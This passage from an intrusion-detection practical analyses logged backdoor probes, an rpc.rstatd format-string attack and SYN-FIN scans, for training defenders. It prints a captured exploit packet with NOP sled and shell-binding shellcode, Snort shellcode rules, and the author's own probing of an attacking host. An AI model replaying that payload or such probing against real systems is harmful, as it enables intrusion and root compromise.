What the scanners are looking for in this trace, is not some service or daemon with known vulnerability but a sign or byproduct of successful exploitations of well-known vulnerabilities. And this sign the attackers are looking for is the TCP port 3879 which in many cases provides a shell, such as /bin/sh, to whoever telnets to the port. Depends on the type of attack tools that were used to compromise the system, the shell could be running with the 'root' access.

Searching the SecurityFocus.com and SecuriTeam.com sites revealed the following tools, among others, are programmed to bind shells to port 3879 by exploiting known vulnerabilities of various applications and services:

PHP3 REMOTE EXPLOIT

Vulnerability Name: PHP Error Logging Format String Vulnerability
Vulnerability Summary:

"A vulnerability in PHP allows remote attacker to use the format string attack and make the program execute arbitrary code. For more information see our previous article: PHP3/PHP4 Format String vulnerability exposes web servers to machine compromise. An exploit code has now been released that affects other versions of UNIX beside Linux." -- http://www.securiteam.com/exploits/6U00K0A02U.html

Vulnerability CVE Number: CVE-MAP-NOMATCH

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Bugtraq ID: 1786

gdm-xpl.c

Vulnerability Name: GNOME gdm XDMCP Buffer Overflow Vulnerability
Vulnerability Summary:

"A buffer overrun exists in the XDMCP handling code used in 'gdm', an xdm replacement, shipped as part of the GNOME desktop. By sending a properly crafted XDMCP message, it is possible for a remote attacker to execute arbitrary commands as root on the susceptible machine. The problem lies in the handling of the display information sent as part of an XDMCP 'FORWARD_QUERY' request." -- http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=1233.html.

Vulnerability CVE Number: CAN-2000-0491
Bugtraq ID: 1233

micRAq

Vulnerability Name: mICQ Remote Buffer Overflow Vulnerability
Vulnerability Summary:

"mICQ is a well-known ICQ emulator for Linux. Two buffer overflow vulnerabilities enable a attacker that can sniff messages sent from the client to the ICQ server, to send a specially-crafted response that will trigger the buffer overflow and execute code on the victim's machine." -- http://www.securiteam.com/exploits/5AP0P1P35E.html

Vulnerability CVE Number: CVE-MAP-NOMATCH
bugtraq ID: 2254

6. Correlations:

Searching the GIAC's reported incidents for probes to the TCP port 3879 showed that this reconnaissance effort seems to have started as early as March of 2000. However, the systems which carried out the reconnaissance effort for TCP port 3879 have not only scanned port 3879 but also scanned other ports such as 111, 53 and 515.

Searching the Google Groups site for the attackers' IP address returned no positive result. However, according to WHOIS databases the following information about the networks that hosts one of the IP addresses in the trace:

```
Cuny Graduate Center (NET-CUNY-GRAD-1)
   33W 42nd St.
   New York, NY  10021
   US
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
Netname: CUNY-GRAD-1
Netblock: 146.96.0.0 - 146.96.255.255

Coordinator:
   Khullar, Anil  (AK112-ARIN)  Anil.Khullar@CUNY.EDU
   212-541-0935

Domain System inverse mapping provided by:

CUNYVMS1.GC.CUNY.EDU          146.96.128.100
TIMESSQR.GC.CUNY.EDU          146.96.128.9
UUCP-GW-1.PA.DEC.COM          16.1.0.18
UUCP-GW-2.PA.DEC.COM          16.1.0.19

Record last updated on 02-Feb-1993.
Database last updated on 24-May-2001 22:53:46 EDT.
```

---

inetnum: 195.223.184.0 - 195.223.184.255
netname: NETICS
descr: Netics Networking Business Service s.r.l.
descr: ISP, application development, web design
country: IT
admin-c: NH403-RIPE
tech-c: NH403-RIPE
rev-srv: ns1.netics.net
rev-srv: ns2.netics.net
status: ASSIGNED PA
notify: hostmaster@netics.com
mnt-by: RIPE-NCC-NONE-MNT
changed: hostmaster@netics.com 19980721
source: RIPE

Search results for '203.86.3.94'

```
inetnum             203.86.0.0 - 203.86.3.255
netname             BARO-HK
descr               Baro International Limited
descr               Rm. 205, Billion Trade Center,
descr               31 Hung To Road, Kwun Tong, Kowloon , Hong Kong
country             HK
admin-c             SY1-HK, inverse
tech-c              SY1-HK, inverse
remarks             service provider
notify              dbmon@apnic.net, inverse
changed             stepheny@hkstar.com 960417
source              APNIC


person              Stephen Yip, inverse
address             P.O.Box 88116
address             Sham Shui Po,
address             Hong Kong
phone               +852-28933820
```

© SANS Institute 2000 - 2002, Author retains full rights.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
fax-no                  +852-27253331
e-mail                  stepheny@hkstar.com, inverse
nic-hdl                 SY1-HK, inverse
mnt-by                  MAINT-NULL, inverse
changed                 stephenyw@hotmail.com 20000311
source                  APNIC
```

Search results for '210.161.41.56'

```
inetnum                 210.160.0.0 - 210.175.255.255
netname                 JPNIC-NET-JP
descr                   Japan Network Information Center
country                 JP
admin-c                 JNIC1-AP, inverse
tech-c                  JNIC1-AP, inverse
remarks                 JPNIC Allocation Block
remarks                 Authoritative information regarding assignments
and
remarks                 allocations made from within this block can also
be
remarks                 queried at whois.nic.ad.jp. To obtain an English
remarks                 output query whois -h whois.nic.ad.jp x.x.x.x/e
mnt-by                  MAINT-JPNIC, inverse
changed                 apnic-ftp@nic.ad.jp 19991208
source                  APNIC


role                    Japan Network Information Center, inverse
address                 Fuundo Bldg. 3F, 1-2 Kanda-Ogawamachi
address                 Chiyoda-ku, Tokyo 101-0052, Japan
country                 JP
phone                   +81-3-5297-2311
fax-no                  +81-3-5297-2312
e-mail                  hostmaster@nic.ad.jp, inverse
admin-c                 NM6-AP, inverse
tech-c                  YM15-AP, inverse
tech-c                  IK6-AP, inverse
tech-c                  KM19-AP, inverse
nic-hdl                 JNIC1-AP, inverse
mnt-by                  MAINT-JPNIC, inverse
changed                 apnic-ftp@nic.ad.jp 19990629
source                  APNIC
```

```
Scitech Software Inc 19280t LAN/26 (NETBLK-SBCIS63037)
   505 Wall
   Chico, CA 95928
   US

   Netname: SBCIS63037
   Netblock: 63.195.2.64 - 63.195.2.127

   Coordinator:
      PBI IP Administrator  (PIA2-ORG-ARIN)  ip-admin@PBI.NET
      888-212-5411
Fax- 415-442-4999
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
Record last updated on 01-Dec-1999.
Database last updated on 24-May-2001 22:53:46 EDT.
```

7. Evidence of active targeting:

These are reconnaissance efforts which have no specific target host. The attackers are prowling for the port 3879 but not on a specific host.

8. Severity:

The severity of this attack is a 1. (3+5)-(3+4)=1.

(Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity

Criticality = 3. As the probes are not targeting any specific host, some targeted systems would be more critical than others. I will assign the criticality of 3 which would be the average number.

Lethality = 5. The TCP port 3879 which responds to the scan signals the system has been most likely compromised with a backdoor. This problem must be quickly addressed to prevent further damage on the same system and other systems on the network.

System Countermeasures = 3. There is no indication that the target systems have responded back to the scans. However, there is no proof that they did not either. Therefore, I am giving a middle of the run number 3.

Network Countermeasures = 4. There is a network-based intrusion detection system in place to monitor the network traffic, however, there may not be a firewall blocking traffic to these vulnerable ports.

9. Defensive recommendation:

For the vulnerabilities named in **5. Attack Mechanism**, the following fixes are available:

- PHP Error Logging Format String Vulnerability

  SecuriTeam.com states that, as a temporary solution, you can turn off logging on PHP3 and PHP4 by going into your 'php.ini' file and setting the log_errors option to "off":
  ”log_errors = Off”

  However, more permanent fix would be users upgrade to PHP 4.0.3 or higher as soon as possible. The users can also obtain the fixed versions of vulnerable software. A fixed version of PHP4 is available from http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz, and a fixed version of PHP3 is available from http://www.php.net/distributions/php-3.0.17.tar.gz.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

- GNOME gdm XDMCP Buffer Overflow Vulnerability

  Per SecurityFocus.com's Vulnerabilities Database, there are no vendor-supplied patches for this vulnerability. However, changing the contents of the 'Enable' variable to 0 in the gdm configuration file (often /etc/X11/gdm/gdm.conf) will eliminate this vulnerability.

- mICQ Remote Buffer Overflow Vulnerability

  Red Hat and Free BSD have made the updates to Matthew Smith mICQ 0.4.6 available from their download sites.

The above vulnerabilities are only three of many that can be exploited. Therefore, it is important to review all services running on networked systems to make sure they are even needed to run in the first place. Less number of applications and daemons to run on a system, there will be less security holes for hackers to take advantage of. For required services and applications, the latest security patches must be applied, whether with or without known vulnerability.

Next but not the last would be to set up the network perimeter defense systems to block all traffic to protected network and systems, except for the traffic that has been authorized.

10. Multiple choice test question:

Q. This detect shows an example of what kind of network activity?

a) DOS attack
b) FIN scan
c) buffer overflow exploit
d) backdoor scan

A. The answer is d) as the purpose of going after the port 3879 is to look for systems with unprotected access to a shell of the target system. This activity would not necessarily cause a DOS condition and this is not a FIN scan. This scan is not to deliver the buffer overflow exploit but to harvest the benefit of one which was carried out by someone else.

Detect 4 – Attack Against RPC.RSTATD

```
>Jan 27 21:18:03 myhost tcplogd: "Syn probe"
62.153.97.75[62.153.97.75]:[1779]
  ->myhost[192.168.30.1]:ftp
>Jan 31 19:26:33 myhost tcplogd: "Syn probe" 62.153.97.74[62.153.97.74]:
   [1898]->myhost[192.168.30.1]:ftp

Feb  5 02:11:14 hostm snort[10550]: IDS10 - RPC - portmap-request-rstatd:
  62.153.97.75:874 -> z.y.w.98:111
Feb  5 02:11:14 hostm snort[10550]: IDS362 - MISC - Shellcode X86 NOPS-UDP:
  62.153.97.75:875 -> z.y.w.98:32772
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

1. Source of Trace:

The trace was obtained from the site http://www.sans.org/y2k/021201-0930.htm.

2. Detect was generated by:

The trace is excerpts from Linux syslogs of two systems by tcplogd and Snort intrusion detection system. tcplogd is a TCP_stealth scan detector which was written by CyberPsychotic in 1999. Snort is a light-weight network-based intrusion detection system.

Reading the messages generated by tcplogd, the host 62.153.97.75 has conducted stealth scan using TCP SYN flag only. This shows the attacker did not complete the three-way handshake, which shows the attacker's intention to stay undetected,

As for Snort, the rule sets used to detect the attack are the following:

- alert UDP $EXTERNAL any -> $INTERNAL 111 (msg: "IDS10/portmap-request-rstatd"; rpc: 100001,*,*; content: "|0186a1|";)
- alert UDP $EXTERNAL any -> $INTERNAL any (msg: "IDS362/shellcode-x86-nops-udp"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90|";)

The above Snort rules were obtained from the arachNIDS Database.

3. Probability the source address was spoofed:

There is very little possibility that the source IP addresses were spoofed. One big evidence is that the attacker came back on two different days and did so with the same IP address. The second stealth probe came from another IP address, 62.153.97.74, and this could have been the same attacker using a different address to scan. Since they both came from the same network, there would be little benefit for the attacker to spoof the address.

Another evidence is that the attacker needed to receive responses back from the targets when he performed TCP SYN stealth probes and requested for information on rpc.rstatd service. This would have deterred him from using spoofed IP address.

4. Description of attack:

This is an attack against rpc.rstatd service following reconnaissance scans. The attacker has performed reconnaissance scan on the target myhost first. The trace doesn't show whether the target myhost replied to the scan or, if it did, how it responded. The attacker came back again 4 days after the first stealth scan for a second scan again using the TCP SYN stealth scan.

Then, 5 days after the second stealth scan, the attacker came back for the third time, according to the trace, and requests for information about the rstatd service. As also discussed in Detect #2, the rstatd daemon can give performance information for network, disk, and CPU of the host.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Additionally, some older versions of this rpc service are vulnerable to buffer overflow attacks allowing remote root access.

The attacker must have received the port number of rpc.rstatd from the portmapper daemon on UDP port 111 as the trace shows the attacker launching a buffer overflow attack against an UDP port 32772.

5. Attack mechanism:

The trace shows the sign that this was a well-planned attack. It is not clear at this point to what extent the systems myhost and z.y.w.98 share a relationship, but the attack itself did not come after a long scan. The attacker scanned a single port on myhost just twice on two different days. Next time he came back, the attacker was already prepared to launch an attack against the rstatd service as the UDP attack packet carrying the content to exploit a known vulnerability was delivered to the target z.y.w.98 in the same second as the first UDP packet which was used to solicit portmap daemon for a port number of rstatd service.

Because of the time, or the lack of time, the attacker took to launch the actual attack after sending a query to the portmap daemon, we can be pretty sure that the attacker was using a scripted attack, which would work by feeding the response back from the portmap daemon to a program which would send the UDP packet with series of NOOP(HEX 90) codes and a command to execute to gain access to a shell. A sample packet is shown below:

```
000 : 56 D8 31 17 00 00 00 00 00 00 00 02 00 01 86 B8   V.1.............
010 : 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 20   ...............
020 : 3B 03 36 52 00 00 00 09 6C 6F 63 61 6C 68 6F 73   ;.6R....localhos
030 : 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   t...............
040 : 00 00 00 00 00 00 00 00 00 00 03 E7 18 F7 FF BF   ................
050 : 18 F7 FF BF 1A F7 FF BF 1A F7 FF BF 25 38 78 25   ............%8x%
060 : 38 78 25 38 78 25 38 78 25 38 78 25 38 78 25 38   8x%8x%8x%8x%8x%8
070 : 78 25 38 78 25 38 78 25 36 32 37 31 36 78 25 68   x%8x%8x%62716x%h
080 : 6E 25 35 31 38 35 39 78 25 68 6E 90 90 90 90 90   n%51859x%hn.....
090 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0a0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0b0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
… cut for brevity …
360 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
370 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
380 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
390 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
3a0 : 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0   ..............1.
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
3b0 : EB 7C 59 89 41 10 89 41 08 FE C0 89 41 04 89 C3   .|Y.A..A....A...
3c0 : FE C0 89 01 B0 66 CD 80 B3 02 89 59 0C C6 41 0E   .....f.....Y..A.
3d0 : 99 C6 41 08 10 89 49 04 80 41 04 0C 88 01 B0 66   ..A...I..A.....f
3e0 : CD 80 B3 04 B0 66 CD 80 B3 05 30 C0 88 41 04 B0   .....f....0..A..
3f0 : 66 CD 80 89 CE 88 C3 31 C9 B0 3F CD 80 FE C1 B0   f......1..?.....
400 : 3F CD 80 FE C1 B0 3F CD 80 C7 06 2F 62 69 6E C7   ?.....?..../bin.
410 : 46 04 2F 73 68 41 30 C0 88 46 07 89 76 0C 8D 56   F./shA0..F..v..V
420 : 10 8D 4E 0C 89 F3 B0 0B CD 80 B0 01 CD 80 E8 7F   ..N.............
430 : FF FF FF 00
```

Once the attack is successfully delivered and executed by the vulnerable rstatd service, the attacker would have access to the /bin/sh and root privilege as well if the rstatd service was running with root access.

6. Correlations:

According to the RIPE Whois database, the IP address of the attacker belongs to a network named BIGBROTHER-GERMANY-1.

inetnum: 62.153.97.0 - 62.153.97.127
netname: BIGBROTHER-GERMANY-1
descr: Endemol Entertainment GmbH
descr: Cologne
descr: temporary until 20000630
country: DE
admin-c: CR3694-RIPE
tech-c: ME3314-RIPE
status: ASSIGNED PA
notify: registry@nic.dtag.de
notify: dbd@nic.dtag.de
mnt-by: DTAG-NIC
changed: hermann.ihler@telekom.de 20000223
source: RIPE

Upon searching the SANS GIAC site, I came across the following post:

> 02/05/01 62.153.97.75 Endemol Entertainment GmbH
>
> Response ("I really regret the breakin-attempts from the network I am responsible for at the technique side. Unfortunately we do NOT administrate the machines ourself, the network is co-used by the German Telekom (T-Mart). I already informed the admins of T-Mart and hope that they will solve the problem as soon as possible.")

© SANS Institute 2000 - 2002, Author retains full rights.

To find out more about the system used in this attack, I conducted a port scan on the address 62.153.97.75 for the ports ranging from 1-80 and 102-123 and found the following ports are open:

- 11 -- systat
- 21 -- ftp
- 22 -- ssh
- 23 -- telnet

Making a FTP connection to the server returned the following banner:

> 220 k-real04.t-bn.de FTP server (Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000) ready.

Telnetting to the system revealed that this is a Red Hat system.

> Red Hat Linux release 6.2 (Zoot)
> Kernel 2.2.14-5.0smp on an i686
> telnetd: /bin/login: No such file or directory

It seems that the /bin/login file cannot be found by the telnet daemon. Perhaps, this is due to incorrect configuration of the system.

Searching the Google and Lycos search engines did not have any other reference to this IP address or hostname k-real04.t-bn.de.

7. Evidence of active targeting:

The trace shows sure signs of active targeting as the attacker only targeted one system and delivered the attack packet to the same system that was scanned.

8. Severity:

Using the formula (Criticality + Lethality) – (System Countermeasures + Network Countermeasures) = Severity, the severity in this trace is 3.

I am giving 3 to the criticality since we cannot tell how critical the targeted system is.

Lethality is 4 since a successfully executed exploit will give the hacker a root access to the system.

System Countermeasures is 2 as the target system doesn't seem to be hardened. The RPC services, which tend to have many vulnerabilities, are running on the system.

Network Countermeasures is 4 since the network-based intrusion detection system is monitoring the traffic although the access to target system from outside network doesn't seem to be checked

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

and blocked. Firewalls tend to block the access to RPC services from outside the network. Seeing the attacker was able to access the portmapper daemon and receive the port number to rstatd service suggests no firewall was in use.

9. Defensive recommendation:

The defense for the target system and network needs to be improved. The system administrator of the target system must review the reason to keep the rpc services on the system. If they are not needed, it would be much better to keep them shut to prevent further exploits. It seems that the target network should use a firewall to block out unauthorized connectivity.

10. Multiple choice test question:

```
Feb  5 02:11:14 hostm snort[10550]: IDS10 - RPC - portmap-request-rstatd:
  62.153.97.75:874 -> z.y.w.98:111
Feb  5 02:11:14 hostm snort[10550]: IDS362 - MISC - Shellcode X86 NOPS-UDP:
  62.153.97.75:875 -> z.y.w.98:32772
```

According to the alert messages shown above, which of the following statements is true?

a) The target did not reply to the portmap request.
b) This is an attack against the portmapper service.
c) This is an attack against the rstatd service.
d) This is a reconnaissance scan to find more information about the system z.y.w.98.

The answer is c. The first alert is for a suspicious request but the second alert is to notify that there has been a buffer overflow attack using NOOP codes against rstatd service. There is no log of portmapper responding to the attacker but it is assumed since the attack is followed immediately after the portmap request for rstatd service.

Detect 5 – SYN-FIN network scan

```
Mar 31 00:00:52 211.178.63.4:53 -> MY.NET.71.34:53 SYNFIN **SF****
Mar 31 00:05:54 211.178.63.4:21 -> MY.NET.132.34:21 SYNFIN **SF****
Mar 31 00:06:07 211.178.63.4:8080 -> MY.NET.130.34:8080 SYNFIN **SF****
Mar 31 00:06:50 211.178.63.4:21 -> MY.NET.143.34:21 SYNFIN **SF****
Mar 31 00:08:42 211.178.63.4:21 -> MY.NET.165.34:21 SYNFIN **SF****
Mar 31 00:08:58 211.178.63.4:109 -> MY.NET.170.34:109 SYNFIN **SF****
Mar 31 00:10:09 211.178.63.4:21 -> MY.NET.182.34:21 SYNFIN **SF****
Mar 31 00:11:47 211.178.63.4:109 -> MY.NET.203.34:109 SYNFIN **SF****
Mar 31 00:12:41 211.178.63.4:53 -> MY.NET.210.34:53 SYNFIN **SF****
Mar 31 00:14:34 211.178.63.4:53 -> MY.NET.232.34:53 SYNFIN **SF****
Mar 31 00:21:27 211.178.63.4:21 -> MY.NET.60.35:21 SYNFIN **SF****
Mar 31 00:27:44 211.178.63.4:111 -> MY.NET.133.35:111 SYNFIN **SF****
Mar 31 00:29:42 211.178.63.4:21 -> MY.NET.157.35:21 SYNFIN **SF****
Mar 31 00:30:25 211.178.63.4:8080 -> MY.NET.161.35:8080 SYNFIN **SF****
```

1. Source of Trace:

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Anderson Johnston posted the trace shown above at http://www.sans.org/y2k/040401-1000.htm

2. Detect was generated by:

The trace was generated Snort intrusion detection system. For this detect, Snort was looking for packets with both TCP SYN and FIN flags set. These two flags do not occur in natural TCP connections, but they can appear together if a TCP packet was crafted. The reason they do not occur in a normal TCP packet is because SYN flag is used during the TCP three-way handshake only while FIN only occurs when a pre-existing connection is to be torn down.

Crafting a TCP packet, to have unnatural flag combinations such as SYN and FIN together, frequently takes place during reconnaissance scans to evade some packet filtering devices.

3. Probability the source address was spoofed:

It is unlikely that the source IP address is spoofed, as this is a reconnaissance scan through which the attacker is trying to gain information about the targeted network and systems in it. If the source IP address is spoofed, the responses to these packets will not be correctly delivered.

4. Description of attack:

The trace is showing the stimulus portion of an evasive network scan to identify systems with BIND(53), telnet(21), alternate HTTP(8080), portmap(111) and POP2(109) services within the network my.net.0.0. The reason this is an evasive scan is because the attacker's intention is to get past packet-filtering routers or intrusion detection systems, that look for an initial connection with the SYN flag only set, by using unnaturally occurring combination of TCP flags. Once the packets are delivered to the destinations, the targeted systems will return different responses for each port that is open and that is closed as shown in example below.

```
08:15:55.259109 eth0 > attacker.ftp > target.ftp: SF 1993929614:1993929614(0) win 512
08:15:55.260008 eth0 < target.ftp > attacker.ftp: R 0:0(0) ack 1993929616 win 0
08:15:56.265005 eth0 > attacker.ftp > target.ftp: SF 1126162302:1126162302(0) win 512
08:15:56.265417 eth0 < target.ftp > attacker.ftp: R 0:0(0) ack 3427199985 win 0

08:21:21.378970 eth0 > attacker.telnet > target.telnet: SF 567658255:567658255(0) win 512
08:21:21.379574 eth0 < target.telnet > attacker.telnet: S 2720861540:2720861540(0) ack 567658256 win
16616 <mss 1460> (DF)
08:21:21.379711 eth0 > attacker.telnet > target.telnet: R 567658256:567658256(0) win 0
08:21:22.375015 eth0 > attacker.telnet > target.telnet: SF 825890743:825890743(0) win 512
08:21:22.375310 eth0 < target.telnet > attacker.telnet: S 2721158839:2721158839(0) ack 825890744 win
16616 <mss 1460> (DF)
08:21:22.375427 eth0 > attacker.telnet > target.telnet: R 825890744:825890744(0) win 0
```

In the example, the attacker scans two different ports and receives different responses back. The ftp port was closed on the target system and the attacker received the RES-ACK packet while the telnet port was open and the attacker received the SYN-ACK packet, which is the second leg of TCP three-way handshake. By collecting the responses from the scanned hosts the attacker can

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

determine which hosts are reachable via the Internet and which of them has any of the services shown in the trace.

In addition to using anomalous flag combination, the attacker was conducting a slow scan to stay under intrusion detection system threshold: many intrusion detection systems can keep track of connections to past several minutes. If the number of offensive packets or connections do not exceed a certain number within the set time period, no alert could be generated. On the other hand, if the attacker were to send these packets too fast, many of intrusion detection systems would generate an alert.

The attacker is also using the same source ports as the destination ports for the scan. This is another technique of evading intrusion detection systems and packet-filtering devices. If the attacker uses ports used by popular services, as done in this case, such as FTP, telnet, DNS, and POP2, there is more possibility that intrusion detection systems will ignore the traffic and packet-filtering devices will allow the packets to pass by.

The biggest motive of the attacker to use these ports could also be to exploit their vulnerabilities to compromise the system and networks.

5. Attack mechanism:

As this is a reconnaissance scan, the attacker is using a crafted packet to collect intelligence. The tools to craft packets are abundant and one of them is hping2 written by Antirez. hping2, as a network auditing tool, can generate and send crafted ICMP, UDP, and TCP packets and display replies from targets like ping does with ICMP replies. Features of hping2 includes setting any TCP flags and keeping the source and destination ports constant while the target IP address can change. Considering the slow speed and lack of any distinctive pattern in incoming packets from the attacker, it is very possible that the crafted packets were sent manually once they were created using a tool like hping2.

6. Correlations:

Reconnaissance scans using SYN-FIN flags have been observed in the past as shown below:

http://www.sans.org/y2k/011601-1430.htm

```
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.32:21 SYNFIN ******SF
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.33:21 SYNFIN ******SF
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.62:21 SYNFIN ******SF
Jan  5 14:44:56 216.244.248.34:2944 -> a.b.c.62:21 SYN ******S*
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.67:21 SYNFIN ******SF
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.71:21 SYNFIN ******SF
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.80:21 SYNFIN ******SF
Jan  5 14:44:55 216.244.248.34:21 -> a.b.c.101:21 SYNFIN ******SF
Jan  5 14:44:56 216.244.248.34:21 -> a.b.c.114:21 SYNFIN ******SF
Jan  5 14:44:56 216.244.248.34:21 -> a.b.c.211:21 SYNFIN ******SF
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Jan 5 14:44:57 216.244.248.34:21 -> a.b.c.212:21 SYNFIN ******SF
Jan 5 14:44:57 216.244.248.34:21 -> a.b.c.215:21 SYNFIN ******SF
Jan 5 14:44:57 216.244.248.34:21 -> a.b.c.244:21 SYNFIN ******SF
Jan 5 14:44:57 216.244.248.34:21 -> a.b.d.52:21 SYNFIN ******SF
Jan 5 14:45:06 216.244.248.34:21 -> a.b.d.202:21 SYNFIN ******SF
Jan 5 14:46:07 216.244.248.34:21 -> a.b.c.225:21 SYNFIN ******SF
Jan 5 14:46:08 216.244.248.34:2961 -> a.b.c.225:21 SYN ******S*

http://www.sans.org/y2k/practical/George_Bakos.html - d2

18:16:06.321505 a.bad.net.3.109 > good.guys.net.162.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.341990 a.bad.net.3.109 > good.guys.net.163.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.498888 a.bad.net.3.109 > good.guys.net.170.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.504233 good.guys.net.170 > a.bad.net.3: icmp: good.guys.net.170 tcp port 109 unreachable
18:16:06.884152 a.bad.net.3.109 > good.guys.net.190.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.886200 good.guys.net.190.109 > a.bad.net.3.109: R 0:0(0) ack 2098026837 win 0 (ttl 255, id 47)

http://www.sans.org/y2k/011601-1430.htm

Jan 6 02:14:34 hostmau Connection attempt to TCP z.y.x.28:9704 from 216.12.70.56:9704
Jan 6 02:14:34 216.12.70.56:9704 -> z.y.x.28:9704 SYNFIN ******SF
Jan 6 02:14:37 216.12.70.56:9704 -> z.y.x.189:9704 SYNFIN ******SF
Jan 6 02:14:37 216.12.70.56:9704 -> z.y.x.220:9704 SYNFIN ******SF
Jan 6 02:14:38 216.12.70.56:9704 -> z.y.x.251:9704 SYNFIN ******SF

Jan 6 02:20:30 216.12.70.56:9704 -> z.y.w.34:9704 SYNFIN ******SF
Jan 6 02:20:30 hosty snort[93870]: SCAN-SYN FIN: 216.12.70.56:9704 -> z.y.w.34:9704
Jan 6 02:20:31 216.12.70.56:9704 -> z.y.w.66:9704 SYNFIN ******SF
Jan 6 02:20:31 hostj snort[488]: SCAN-SYN FIN: 216.12.70.56:9704 -> z.y.w.66:9704
Jan 6 02:20:31 216.12.70.56:9704 -> z.y.w.98:9704 SYNFIN ******SF
Jan 6 02:20:32 hostm snort[462]: SCAN-SYN FIN: 216.12.70.56:9704 -> z.y.w.98:9704

http://www.sans.org/y2k/051100.htm

```
May 5 18:04:14 dns1 snort[51901]: spp_portscan:
PORTSCAN DETECTED from 212.109.2.136
May 5 18:04:14 dns1 snort[51901]: SCAN-SYN FIN:
212.109.2.136:109 -> z.y.w.34:109
May 5 18:04:20 dns1 snort[51901]: spp_portscan:
portscan status from 212.109.2.136: 1 connections across 1 hosts:
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
TCP(1), UDP(0) STEALTH
May 5 18:04:26 dns1 snort[51901]: spp_portscan:
End of portscan from 212.109.2.136
May 5 18:04:15 dns3 snort[3439]: spp_portscan:
PORTSCAN DETECTED from 212.109.2.136
May 5 18:04:15 dns3 snort[3439]: SCAN-SYN FIN:
212.109.2.136:109 -> z.y.w.98:109
May 5 18:04:21 dns3 snort[3439]: spp_portscan:
portscan status from 212.109.2.136: 1 connections across 1 hosts:
TCP(1), UDP(0) STEALTH
May 5 18:04:27 dns3 snort[3439]: spp_portscan:
End of portscan from 212.109.2.136
--------
Apr 28 14:36:37 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
Apr 28 14:37:01 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
Apr 28 14:37:54 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
Apr 28 19:13:00 212.109.2.136:53 -> z.y.w.34:53 SYNFIN **SF****
Apr 28 23:47:26 212.109.2.136:109 -> z.y.w.34:109 SYNFIN **SF****
Apr 29 04:21:40 212.109.2.136:110 -> z.y.w.34:110 SYNFIN **SF****
Apr 29 08:56:07 212.109.2.136:111 -> z.y.w.34:111 SYNFIN **SF****
Apr 29 11:42:57 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
Apr 29 11:43:17 212.109.2.136:53 -> z.y.w.34:53 SYNFIN **SF****
Apr 29 11:43:34 212.109.2.136:109 -> z.y.w.34:109 SYNFIN **SF****
Apr 29 11:43:52 212.109.2.136:110 -> z.y.w.34:110 SYNFIN **SF****
Apr 29 13:30:25 212.109.2.136:143 -> z.y.w.34:143 SYNFIN **SF****
Apr 29 18:04:43 212.109.2.136:1080 -> z.y.w.34:1080 SYNFIN **SF****
May 1 08:32:03 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
May 1 08:32:22 212.109.2.136:53 -> z.y.w.34:53 SYNFIN **SF****
May 1 08:32:38 212.109.2.136:109 -> z.y.w.34:109 SYNFIN **SF****
May 1 08:32:57 212.109.2.136:110 -> z.y.w.34:110 SYNFIN **SF****
May 1 08:33:09 212.109.2.136:111 -> z.y.w.34:111 SYNFIN **SF****
May 1 08:33:28 212.109.2.136:143 -> z.y.w.34:143 SYNFIN **SF****
May 1 08:33:47 212.109.2.136:1080 -> z.y.w.34:1080 SYNFIN **SF****
May 2 10:38:39 212.109.2.136:21 -> z.y.w.34:21 SYNFIN **SF****
May 2 10:39:00 212.109.2.136:53 -> z.y.w.34:53 SYNFIN **SF****
May 2 10:39:16 212.109.2.136:109 -> z.y.w.34:109 SYNFIN **SF****
May 2 10:39:34 212.109.2.136:110 -> z.y.w.34:110 SYNFIN **SF****
May 2 10:39:45 212.109.2.136:111 -> z.y.w.34:111 SYNFIN **SF****
May 2 10:40:04 212.109.2.136:143 -> z.y.w.34:143 SYNFIN **SF****
May 2 10:40:24 212.109.2.136:1080 -> z.y.w.34:1080 SYNFIN **SF****
